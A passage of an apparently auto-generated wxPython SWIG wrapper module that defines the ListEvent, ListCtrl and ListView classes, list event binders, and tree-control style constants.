`GetMask` and `SetMask`\") \n State = property(GetState,SetState,doc=\"See `GetState` and `SetState`\") \n Text = property(GetText,SetText,doc=\"See `GetText` and `SetText`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n Width = property(GetWidth,SetWidth,doc=\"See `GetWidth` and `SetWidth`\") \n_controls_.ListItem_swigregister(ListItem)\n\n#---------------------------------------------------------------------------\n\nclass ListEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ ListEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType commandType=wxEVT_NULL, int id=0) -> ListEvent\"\"\"\n _controls_.ListEvent_swiginit(self,_controls_.new_ListEvent(*args, **kwargs))\n m_code = property(_controls_.ListEvent_m_code_get, _controls_.ListEvent_m_code_set)\n m_oldItemIndex = property(_controls_.ListEvent_m_oldItemIndex_get, _controls_.ListEvent_m_oldItemIndex_set)\n m_itemIndex = property(_controls_.ListEvent_m_itemIndex_get, _controls_.ListEvent_m_itemIndex_set)\n m_col = property(_controls_.ListEvent_m_col_get, _controls_.ListEvent_m_col_set)\n m_pointDrag = property(_controls_.ListEvent_m_pointDrag_get, _controls_.ListEvent_m_pointDrag_set)\n m_item = property(_controls_.ListEvent_m_item_get)\n def GetKeyCode(*args, **kwargs):\n \"\"\"GetKeyCode(self) -> int\"\"\"\n return _controls_.ListEvent_GetKeyCode(*args, **kwargs)\n\n GetCode = GetKeyCode \n def GetIndex(*args, **kwargs):\n \"\"\"GetIndex(self) -> long\"\"\"\n return _controls_.ListEvent_GetIndex(*args, **kwargs)\n\n def GetColumn(*args, **kwargs):\n \"\"\"GetColumn(self) -> int\"\"\"\n return _controls_.ListEvent_GetColumn(*args, **kwargs)\n\n def GetPoint(*args, **kwargs):\n \"\"\"GetPoint(self) -> Point\"\"\"\n return _controls_.ListEvent_GetPoint(*args, **kwargs)\n\n GetPosition = GetPoint \n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self) -> String\"\"\"\n return _controls_.ListEvent_GetLabel(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _controls_.ListEvent_GetText(*args, **kwargs)\n\n def GetImage(*args, **kwargs):\n \"\"\"GetImage(self) -> int\"\"\"\n return _controls_.ListEvent_GetImage(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"GetData(self) -> long\"\"\"\n return _controls_.ListEvent_GetData(*args, **kwargs)\n\n def GetMask(*args, **kwargs):\n \"\"\"GetMask(self) -> long\"\"\"\n return _controls_.ListEvent_GetMask(*args, **kwargs)\n\n def GetItem(*args, **kwargs):\n \"\"\"GetItem(self) -> ListItem\"\"\"\n return _controls_.ListEvent_GetItem(*args, **kwargs)\n\n def GetCacheFrom(*args, **kwargs):\n \"\"\"GetCacheFrom(self) -> long\"\"\"\n return _controls_.ListEvent_GetCacheFrom(*args, **kwargs)\n\n def GetCacheTo(*args, **kwargs):\n \"\"\"GetCacheTo(self) -> long\"\"\"\n return _controls_.ListEvent_GetCacheTo(*args, **kwargs)\n\n def IsEditCancelled(*args, **kwargs):\n \"\"\"IsEditCancelled(self) -> bool\"\"\"\n return _controls_.ListEvent_IsEditCancelled(*args, **kwargs)\n\n def SetEditCanceled(*args, **kwargs):\n \"\"\"SetEditCanceled(self, bool editCancelled)\"\"\"\n return _controls_.ListEvent_SetEditCanceled(*args, **kwargs)\n\n CacheFrom = property(GetCacheFrom,doc=\"See `GetCacheFrom`\") \n CacheTo = property(GetCacheTo,doc=\"See `GetCacheTo`\") \n Column = property(GetColumn,doc=\"See `GetColumn`\") \n Data = property(GetData,doc=\"See `GetData`\") \n Image = property(GetImage,doc=\"See `GetImage`\") \n Index = property(GetIndex,doc=\"See `GetIndex`\") \n Item = property(GetItem,doc=\"See `GetItem`\") \n KeyCode = property(GetKeyCode,doc=\"See `GetKeyCode`\") \n Label = property(GetLabel,doc=\"See `GetLabel`\") \n Mask = property(GetMask,doc=\"See `GetMask`\") \n Point = property(GetPoint,doc=\"See `GetPoint`\") \n Text = property(GetText,doc=\"See `GetText`\") \n_controls_.ListEvent_swigregister(ListEvent)\n\nwxEVT_COMMAND_LIST_BEGIN_DRAG = _controls_.wxEVT_COMMAND_LIST_BEGIN_DRAG\nwxEVT_COMMAND_LIST_BEGIN_RDRAG = _controls_.wxEVT_COMMAND_LIST_BEGIN_RDRAG\nwxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT = _controls_.wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT\nwxEVT_COMMAND_LIST_END_LABEL_EDIT = _controls_.wxEVT_COMMAND_LIST_END_LABEL_EDIT\nwxEVT_COMMAND_LIST_DELETE_ITEM = _controls_.wxEVT_COMMAND_LIST_DELETE_ITEM\nwxEVT_COMMAND_LIST_DELETE_ALL_ITEMS = _controls_.wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS\nwxEVT_COMMAND_LIST_ITEM_SELECTED = _controls_.wxEVT_COMMAND_LIST_ITEM_SELECTED\nwxEVT_COMMAND_LIST_ITEM_DESELECTED = _controls_.wxEVT_COMMAND_LIST_ITEM_DESELECTED\nwxEVT_COMMAND_LIST_KEY_DOWN = _controls_.wxEVT_COMMAND_LIST_KEY_DOWN\nwxEVT_COMMAND_LIST_INSERT_ITEM = _controls_.wxEVT_COMMAND_LIST_INSERT_ITEM\nwxEVT_COMMAND_LIST_COL_CLICK = _controls_.wxEVT_COMMAND_LIST_COL_CLICK\nwxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK = _controls_.wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\nwxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK = _controls_.wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK\nwxEVT_COMMAND_LIST_ITEM_ACTIVATED = _controls_.wxEVT_COMMAND_LIST_ITEM_ACTIVATED\nwxEVT_COMMAND_LIST_CACHE_HINT = _controls_.wxEVT_COMMAND_LIST_CACHE_HINT\nwxEVT_COMMAND_LIST_COL_RIGHT_CLICK = _controls_.wxEVT_COMMAND_LIST_COL_RIGHT_CLICK\nwxEVT_COMMAND_LIST_COL_BEGIN_DRAG = _controls_.wxEVT_COMMAND_LIST_COL_BEGIN_DRAG\nwxEVT_COMMAND_LIST_COL_DRAGGING = _controls_.wxEVT_COMMAND_LIST_COL_DRAGGING\nwxEVT_COMMAND_LIST_COL_END_DRAG = _controls_.wxEVT_COMMAND_LIST_COL_END_DRAG\nwxEVT_COMMAND_LIST_ITEM_FOCUSED = _controls_.wxEVT_COMMAND_LIST_ITEM_FOCUSED\nEVT_LIST_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_DRAG , 1)\nEVT_LIST_BEGIN_RDRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_RDRAG , 1)\nEVT_LIST_BEGIN_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT , 1)\nEVT_LIST_END_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_LIST_END_LABEL_EDIT , 1)\nEVT_LIST_DELETE_ITEM = wx.PyEventBinder(wxEVT_COMMAND_LIST_DELETE_ITEM , 1)\nEVT_LIST_DELETE_ALL_ITEMS = wx.PyEventBinder(wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS , 1)\n\n\n\n\nEVT_LIST_ITEM_SELECTED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_SELECTED , 1)\nEVT_LIST_ITEM_DESELECTED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_DESELECTED , 1)\nEVT_LIST_KEY_DOWN = wx.PyEventBinder(wxEVT_COMMAND_LIST_KEY_DOWN , 1)\nEVT_LIST_INSERT_ITEM = wx.PyEventBinder(wxEVT_COMMAND_LIST_INSERT_ITEM , 1)\nEVT_LIST_COL_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_CLICK , 1)\nEVT_LIST_ITEM_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK , 1)\nEVT_LIST_ITEM_MIDDLE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK, 1)\nEVT_LIST_ITEM_ACTIVATED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_ACTIVATED , 1)\nEVT_LIST_CACHE_HINT = wx.PyEventBinder(wxEVT_COMMAND_LIST_CACHE_HINT , 1)\nEVT_LIST_COL_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_RIGHT_CLICK , 1)\nEVT_LIST_COL_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_BEGIN_DRAG , 1)\nEVT_LIST_COL_DRAGGING = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_DRAGGING , 1)\nEVT_LIST_COL_END_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_END_DRAG , 1)\nEVT_LIST_ITEM_FOCUSED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_FOCUSED , 1)\n\n\n\n\n\n#---------------------------------------------------------------------------\n\nclass ListCtrl(_core.Control):\n \"\"\"Proxy of C++ ListCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LC_ICON, \n Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> ListCtrl\n \"\"\"\n _controls_.ListCtrl_swiginit(self,_controls_.new_ListCtrl(*args, **kwargs))\n self._setOORInfo(self);ListCtrl._setCallbackInfo(self, self, ListCtrl)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LC_ICON, \n Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> bool\n\n Do the 2nd phase and create the GUI control.\n \"\"\"\n return _controls_.ListCtrl_Create(*args, **kwargs)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _controls_.ListCtrl__setCallbackInfo(*args, **kwargs)\n\n def GetColumn(*args, **kwargs):\n \"\"\"GetColumn(self, int col) -> ListItem\"\"\"\n val = _controls_.ListCtrl_GetColumn(*args, **kwargs)\n if val is not None: val.thisown = 1\n return val\n\n def SetColumn(*args, **kwargs):\n \"\"\"SetColumn(self, int col, ListItem item) -> bool\"\"\"\n return _controls_.ListCtrl_SetColumn(*args, **kwargs)\n\n def GetColumnWidth(*args, **kwargs):\n \"\"\"GetColumnWidth(self, int col) -> int\"\"\"\n return _controls_.ListCtrl_GetColumnWidth(*args, **kwargs)\n\n def SetColumnWidth(*args, **kwargs):\n \"\"\"SetColumnWidth(self, int col, int width) -> bool\"\"\"\n return _controls_.ListCtrl_SetColumnWidth(*args, **kwargs)\n\n def GetCountPerPage(*args, **kwargs):\n \"\"\"GetCountPerPage(self) -> int\"\"\"\n return _controls_.ListCtrl_GetCountPerPage(*args, **kwargs)\n\n def GetViewRect(*args, **kwargs):\n \"\"\"GetViewRect(self) -> Rect\"\"\"\n return _controls_.ListCtrl_GetViewRect(*args, **kwargs)\n\n def GetEditControl(*args, **kwargs):\n \"\"\"GetEditControl(self) -> TextCtrl\"\"\"\n return _controls_.ListCtrl_GetEditControl(*args, **kwargs)\n\n def GetItem(*args, **kwargs):\n \"\"\"GetItem(self, long itemId, int col=0) -> ListItem\"\"\"\n val = _controls_.ListCtrl_GetItem(*args, **kwargs)\n if val is not None: val.thisown = 1\n return val\n\n def SetItem(*args, **kwargs):\n \"\"\"SetItem(self, ListItem info) -> bool\"\"\"\n return _controls_.ListCtrl_SetItem(*args, **kwargs)\n\n def SetStringItem(*args, **kwargs):\n \"\"\"SetStringItem(self, long index, int col, String label, int imageId=-1) -> long\"\"\"\n return _controls_.ListCtrl_SetStringItem(*args, **kwargs)\n\n def GetItemState(*args, **kwargs):\n \"\"\"GetItemState(self, long item, long stateMask) -> int\"\"\"\n return _controls_.ListCtrl_GetItemState(*args, **kwargs)\n\n def SetItemState(*args, **kwargs):\n \"\"\"SetItemState(self, long item, long state, long stateMask) -> bool\"\"\"\n return _controls_.ListCtrl_SetItemState(*args, **kwargs)\n\n def SetItemImage(*args, **kwargs):\n \"\"\"SetItemImage(self, long item, int image, int selImage=-1) -> bool\"\"\"\n return _controls_.ListCtrl_SetItemImage(*args, **kwargs)\n\n def SetItemColumnImage(*args, **kwargs):\n \"\"\"SetItemColumnImage(self, long item, long column, int image) -> bool\"\"\"\n return _controls_.ListCtrl_SetItemColumnImage(*args, **kwargs)\n\n def GetItemText(*args, **kwargs):\n \"\"\"GetItemText(self, long item) -> String\"\"\"\n return _controls_.ListCtrl_GetItemText(*args, **kwargs)\n\n def SetItemText(*args, **kwargs):\n \"\"\"SetItemText(self, long item, String str)\"\"\"\n return _controls_.ListCtrl_SetItemText(*args, **kwargs)\n\n def GetItemData(*args, **kwargs):\n \"\"\"GetItemData(self, long item) -> long\"\"\"\n return _controls_.ListCtrl_GetItemData(*args, **kwargs)\n\n def SetItemData(*args, **kwargs):\n \"\"\"SetItemData(self, long item, long data) -> bool\"\"\"\n return _controls_.ListCtrl_SetItemData(*args, **kwargs)\n\n def GetItemPosition(*args, **kwargs):\n \"\"\"GetItemPosition(self, long item) -> Point\"\"\"\n return _controls_.ListCtrl_GetItemPosition(*args, **kwargs)\n\n def GetItemRect(*args, **kwargs):\n \"\"\"GetItemRect(self, long item, int code=LIST_RECT_BOUNDS) -> Rect\"\"\"\n return _controls_.ListCtrl_GetItemRect(*args, **kwargs)\n\n def SetItemPosition(*args, **kwargs):\n \"\"\"SetItemPosition(self, long item, Point pos) -> bool\"\"\"\n return _controls_.ListCtrl_SetItemPosition(*args, **kwargs)\n\n def GetItemCount(*args, **kwargs):\n \"\"\"GetItemCount(self) -> int\"\"\"\n return _controls_.ListCtrl_GetItemCount(*args, **kwargs)\n\n def GetColumnCount(*args, **kwargs):\n \"\"\"GetColumnCount(self) -> int\"\"\"\n return _controls_.ListCtrl_GetColumnCount(*args, **kwargs)\n\n def GetItemSpacing(*args, **kwargs):\n \"\"\"GetItemSpacing(self) -> Size\"\"\"\n return _controls_.ListCtrl_GetItemSpacing(*args, **kwargs)\n\n def GetSelectedItemCount(*args, **kwargs):\n \"\"\"GetSelectedItemCount(self) -> int\"\"\"\n return _controls_.ListCtrl_GetSelectedItemCount(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _controls_.ListCtrl_GetTextColour(*args, **kwargs)\n\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour col)\"\"\"\n return _controls_.ListCtrl_SetTextColour(*args, **kwargs)\n\n def GetTopItem(*args, **kwargs):\n \"\"\"GetTopItem(self) -> long\"\"\"\n return _controls_.ListCtrl_GetTopItem(*args, **kwargs)\n\n def SetSingleStyle(*args, **kwargs):\n \"\"\"SetSingleStyle(self, long style, bool add=True)\"\"\"\n return _controls_.ListCtrl_SetSingleStyle(*args, **kwargs)\n\n def GetNextItem(*args, **kwargs):\n \"\"\"GetNextItem(self, long item, int geometry=LIST_NEXT_ALL, int state=LIST_STATE_DONTCARE) -> long\"\"\"\n return _controls_.ListCtrl_GetNextItem(*args, **kwargs)\n\n def GetImageList(*args, **kwargs):\n \"\"\"GetImageList(self, int which) -> ImageList\"\"\"\n return _controls_.ListCtrl_GetImageList(*args, **kwargs)\n\n def SetImageList(*args, **kwargs):\n \"\"\"SetImageList(self, ImageList imageList, int which)\"\"\"\n return _controls_.ListCtrl_SetImageList(*args, **kwargs)\n\n def AssignImageList(*args, **kwargs):\n \"\"\"AssignImageList(self, ImageList imageList, int which)\"\"\"\n return _controls_.ListCtrl_AssignImageList(*args, **kwargs)\n\n def InReportView(*args, **kwargs):\n \"\"\"InReportView(self) -> bool\"\"\"\n return _controls_.ListCtrl_InReportView(*args, **kwargs)\n\n def IsVirtual(*args, **kwargs):\n \"\"\"IsVirtual(self) -> bool\"\"\"\n return _controls_.ListCtrl_IsVirtual(*args, **kwargs)\n\n def RefreshItem(*args, **kwargs):\n \"\"\"RefreshItem(self, long item)\"\"\"\n return _controls_.ListCtrl_RefreshItem(*args, **kwargs)\n\n def RefreshItems(*args, **kwargs):\n \"\"\"RefreshItems(self, long itemFrom, long itemTo)\"\"\"\n return _controls_.ListCtrl_RefreshItems(*args, **kwargs)\n\n def Arrange(*args, **kwargs):\n \"\"\"Arrange(self, int flag=LIST_ALIGN_DEFAULT) -> bool\"\"\"\n return _controls_.ListCtrl_Arrange(*args, **kwargs)\n\n def DeleteItem(*args, **kwargs):\n \"\"\"DeleteItem(self, long item) -> bool\"\"\"\n return _controls_.ListCtrl_DeleteItem(*args, **kwargs)\n\n def DeleteAllItems(*args, **kwargs):\n \"\"\"DeleteAllItems(self) -> bool\"\"\"\n return _controls_.ListCtrl_DeleteAllItems(*args, **kwargs)\n\n def DeleteColumn(*args, **kwargs):\n \"\"\"DeleteColumn(self, int col) -> bool\"\"\"\n return _controls_.ListCtrl_DeleteColumn(*args, **kwargs)\n\n def DeleteAllColumns(*args, **kwargs):\n \"\"\"DeleteAllColumns(self) -> bool\"\"\"\n return _controls_.ListCtrl_DeleteAllColumns(*args, **kwargs)\n\n def ClearAll(*args, **kwargs):\n \"\"\"ClearAll(self)\"\"\"\n return _controls_.ListCtrl_ClearAll(*args, **kwargs)\n\n def EditLabel(*args, **kwargs):\n \"\"\"EditLabel(self, long item) -> TextCtrl\"\"\"\n return _controls_.ListCtrl_EditLabel(*args, **kwargs)\n\n def EndEditLabel(*args, **kwargs):\n \"\"\"EndEditLabel(self, bool cancel) -> bool\"\"\"\n return _controls_.ListCtrl_EndEditLabel(*args, **kwargs)\n\n def EnsureVisible(*args, **kwargs):\n \"\"\"EnsureVisible(self, long item) -> bool\"\"\"\n return _controls_.ListCtrl_EnsureVisible(*args, **kwargs)\n\n def FindItem(*args, **kwargs):\n \"\"\"FindItem(self, long start, String str, bool partial=False) -> long\"\"\"\n return _controls_.ListCtrl_FindItem(*args, **kwargs)\n\n def FindItemData(*args, **kwargs):\n \"\"\"FindItemData(self, long start, long data) -> long\"\"\"\n return _controls_.ListCtrl_FindItemData(*args, **kwargs)\n\n def FindItemAtPos(*args, **kwargs):\n \"\"\"FindItemAtPos(self, long start, Point pt, int direction) -> long\"\"\"\n return _controls_.ListCtrl_FindItemAtPos(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(Point point) -> (item, where)\n\n Determines which item (if any) is at the specified point, giving\n in the second return value (see wx.LIST_HITTEST flags.)\n \"\"\"\n return _controls_.ListCtrl_HitTest(*args, **kwargs)\n\n def HitTestSubItem(*args, **kwargs):\n \"\"\"\n HitTestSubItem(Point point) -> (item, where, subItem)\n\n Determines which item (if any) is at the specified point, giving in\n the second return value (see wx.LIST_HITTEST flags) and also the subItem, if\n any.\n \"\"\"\n return _controls_.ListCtrl_HitTestSubItem(*args, **kwargs)\n\n def InsertItem(*args, **kwargs):\n \"\"\"InsertItem(self, ListItem info) -> long\"\"\"\n return _controls_.ListCtrl_InsertItem(*args, **kwargs)\n\n def InsertStringItem(*args, **kwargs):\n \"\"\"InsertStringItem(self, long index, String label, int imageIndex=-1) -> long\"\"\"\n return _controls_.ListCtrl_InsertStringItem(*args, **kwargs)\n\n def InsertImageItem(*args, **kwargs):\n \"\"\"InsertImageItem(self, long index, int imageIndex) -> long\"\"\"\n return _controls_.ListCtrl_InsertImageItem(*args, **kwargs)\n\n def InsertImageStringItem(*args, **kwargs):\n \"\"\"InsertImageStringItem(self, long index, String label, int imageIndex) -> long\"\"\"\n return _controls_.ListCtrl_InsertImageStringItem(*args, **kwargs)\n\n def InsertColumnItem(*args, **kwargs):\n \"\"\"InsertColumnItem(self, long col, ListItem info) -> long\"\"\"\n return _controls_.ListCtrl_InsertColumnItem(*args, **kwargs)\n\n InsertColumnInfo = InsertColumnItem \n def InsertColumn(*args, **kwargs):\n \"\"\"\n InsertColumn(self, long col, String heading, int format=LIST_FORMAT_LEFT, \n int width=-1) -> long\n \"\"\"\n return _controls_.ListCtrl_InsertColumn(*args, **kwargs)\n\n def SetItemCount(*args, **kwargs):\n \"\"\"SetItemCount(self, long count)\"\"\"\n return _controls_.ListCtrl_SetItemCount(*args, **kwargs)\n\n def ScrollList(*args, **kwargs):\n \"\"\"ScrollList(self, int dx, int dy) -> bool\"\"\"\n return _controls_.ListCtrl_ScrollList(*args, **kwargs)\n\n def SetItemTextColour(*args, **kwargs):\n \"\"\"SetItemTextColour(self, long item, Colour col)\"\"\"\n return _controls_.ListCtrl_SetItemTextColour(*args, **kwargs)\n\n def GetItemTextColour(*args, **kwargs):\n \"\"\"GetItemTextColour(self, long item) -> Colour\"\"\"\n return _controls_.ListCtrl_GetItemTextColour(*args, **kwargs)\n\n def SetItemBackgroundColour(*args, **kwargs):\n \"\"\"SetItemBackgroundColour(self, long item, Colour col)\"\"\"\n return _controls_.ListCtrl_SetItemBackgroundColour(*args, **kwargs)\n\n def GetItemBackgroundColour(*args, **kwargs):\n \"\"\"GetItemBackgroundColour(self, long item) -> Colour\"\"\"\n return _controls_.ListCtrl_GetItemBackgroundColour(*args, **kwargs)\n\n def SetItemFont(*args, **kwargs):\n \"\"\"SetItemFont(self, long item, Font f)\"\"\"\n return _controls_.ListCtrl_SetItemFont(*args, **kwargs)\n\n def GetItemFont(*args, **kwargs):\n \"\"\"GetItemFont(self, long item) -> Font\"\"\"\n return _controls_.ListCtrl_GetItemFont(*args, **kwargs)\n\n #\n # Some helpers...\n def Select(self, idx, on=1):\n '''[de]select an item'''\n if on: state = wx.LIST_STATE_SELECTED\n else: state = 0\n self.SetItemState(idx, state, wx.LIST_STATE_SELECTED)\n\n def Focus(self, idx):\n '''Focus and show the given item'''\n self.SetItemState(idx, wx.LIST_STATE_FOCUSED, wx.LIST_STATE_FOCUSED)\n self.EnsureVisible(idx)\n\n def GetFocusedItem(self):\n '''get the currently focused item or -1 if none'''\n return self.GetNextItem(-1, wx.LIST_NEXT_ALL, wx.LIST_STATE_FOCUSED)\n\n def GetFirstSelected(self, *args):\n '''return first selected item, or -1 when none'''\n return self.GetNextSelected(-1)\n\n def GetNextSelected(self, item):\n '''return subsequent selected items, or -1 when no more'''\n return self.GetNextItem(item, wx.LIST_NEXT_ALL, wx.LIST_STATE_SELECTED)\n\n def IsSelected(self, idx):\n '''return True if the item is selected'''\n return (self.GetItemState(idx, wx.LIST_STATE_SELECTED) & wx.LIST_STATE_SELECTED) != 0\n\n def SetColumnImage(self, col, image):\n item = self.GetColumn(col)\n # preserve all other attributes too\n item.SetMask( wx.LIST_MASK_STATE |\n wx.LIST_MASK_TEXT |\n wx.LIST_MASK_IMAGE |\n wx.LIST_MASK_DATA |\n wx.LIST_SET_ITEM |\n wx.LIST_MASK_WIDTH |\n wx.LIST_MASK_FORMAT )\n item.SetImage(image)\n self.SetColumn(col, item)\n\n def ClearColumnImage(self, col):\n self.SetColumnImage(col, -1)\n\n def Append(self, entry):\n '''Append an item to the list control. The entry parameter should be a\n sequence with an item for each column'''\n if len(entry):\n if wx.USE_UNICODE:\n cvtfunc = unicode\n else:\n cvtfunc = str\n pos = self.GetItemCount()\n self.InsertStringItem(pos, cvtfunc(entry[0]))\n for i in range(1, len(entry)):\n self.SetStringItem(pos, i, cvtfunc(entry[i]))\n return pos\n\n def SortItems(*args, **kwargs):\n \"\"\"SortItems(self, PyObject func) -> bool\"\"\"\n return _controls_.ListCtrl_SortItems(*args, **kwargs)\n\n def GetMainWindow(*args, **kwargs):\n \"\"\"GetMainWindow(self) -> Window\"\"\"\n return _controls_.ListCtrl_GetMainWindow(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ListCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n ColumnCount = property(GetColumnCount,doc=\"See `GetColumnCount`\") \n CountPerPage = property(GetCountPerPage,doc=\"See `GetCountPerPage`\") \n EditControl = property(GetEditControl,doc=\"See `GetEditControl`\") \n FocusedItem = property(GetFocusedItem,doc=\"See `GetFocusedItem`\") \n ItemCount = property(GetItemCount,SetItemCount,doc=\"See `GetItemCount` and `SetItemCount`\") \n MainWindow = property(GetMainWindow,doc=\"See `GetMainWindow`\") \n SelectedItemCount = property(GetSelectedItemCount,doc=\"See `GetSelectedItemCount`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n TopItem = property(GetTopItem,doc=\"See `GetTopItem`\") \n ViewRect = property(GetViewRect,doc=\"See `GetViewRect`\") \n_controls_.ListCtrl_swigregister(ListCtrl)\n\ndef PreListCtrl(*args, **kwargs):\n \"\"\"PreListCtrl() -> ListCtrl\"\"\"\n val = _controls_.new_PreListCtrl(*args, **kwargs)\n return val\n\ndef ListCtrl_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ListCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ListCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass ListView(ListCtrl):\n \"\"\"Proxy of C++ ListView class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LC_REPORT, \n Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> ListView\n \"\"\"\n _controls_.ListView_swiginit(self,_controls_.new_ListView(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LC_REPORT, \n Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> bool\n\n Do the 2nd phase and create the GUI control.\n \"\"\"\n return _controls_.ListView_Create(*args, **kwargs)\n\n def Select(*args, **kwargs):\n \"\"\"Select(self, long n, bool on=True)\"\"\"\n return _controls_.ListView_Select(*args, **kwargs)\n\n def Focus(*args, **kwargs):\n \"\"\"Focus(self, long index)\"\"\"\n return _controls_.ListView_Focus(*args, **kwargs)\n\n def GetFocusedItem(*args, **kwargs):\n \"\"\"GetFocusedItem(self) -> long\"\"\"\n return _controls_.ListView_GetFocusedItem(*args, **kwargs)\n\n def GetNextSelected(*args, **kwargs):\n \"\"\"GetNextSelected(self, long item) -> long\"\"\"\n return _controls_.ListView_GetNextSelected(*args, **kwargs)\n\n def GetFirstSelected(*args, **kwargs):\n \"\"\"GetFirstSelected(self) -> long\"\"\"\n return _controls_.ListView_GetFirstSelected(*args, **kwargs)\n\n def IsSelected(*args, **kwargs):\n \"\"\"IsSelected(self, long index) -> bool\"\"\"\n return _controls_.ListView_IsSelected(*args, **kwargs)\n\n def SetColumnImage(*args, **kwargs):\n \"\"\"SetColumnImage(self, int col, int image)\"\"\"\n return _controls_.ListView_SetColumnImage(*args, **kwargs)\n\n def ClearColumnImage(*args, **kwargs):\n \"\"\"ClearColumnImage(self, int col)\"\"\"\n return _controls_.ListView_ClearColumnImage(*args, **kwargs)\n\n FocusedItem = property(GetFocusedItem,doc=\"See `GetFocusedItem`\") \n_controls_.ListView_swigregister(ListView)\n\ndef PreListView(*args, **kwargs):\n \"\"\"PreListView() -> ListView\"\"\"\n val = _controls_.new_PreListView(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nTR_NO_BUTTONS = _controls_.TR_NO_BUTTONS\nTR_HAS_BUTTONS = _controls_.TR_HAS_BUTTONS\nTR_NO_LINES = _controls_.TR_NO_LINES\nTR_LINES_AT_ROOT = _controls_.TR_LINES_AT_ROOT\nTR_SINGLE = _controls_.TR_SINGLE\nTR_MULTIPLE = _controls_.TR_MULTIPLE\nTR_EXTENDED = _controls_.TR_EXTENDED\nTR_HAS_VARIABLE_ROW_HEIGHT = _controls_.TR_HAS_VARIABLE_ROW_HEIGHT\nTR_EDIT_LABELS = _controls_.TR_EDIT_LABELS\nTR_HIDE_ROOT = _controls_.TR_HIDE_ROOT\nTR_ROW_LINES = _controls_.TR_ROW_LINES\nTR_FULL_ROW_HIGHLIGHT = _controls_.TR_FULL_ROW_HIGHLIGHT\nTR_DEFAULT_STYLE = 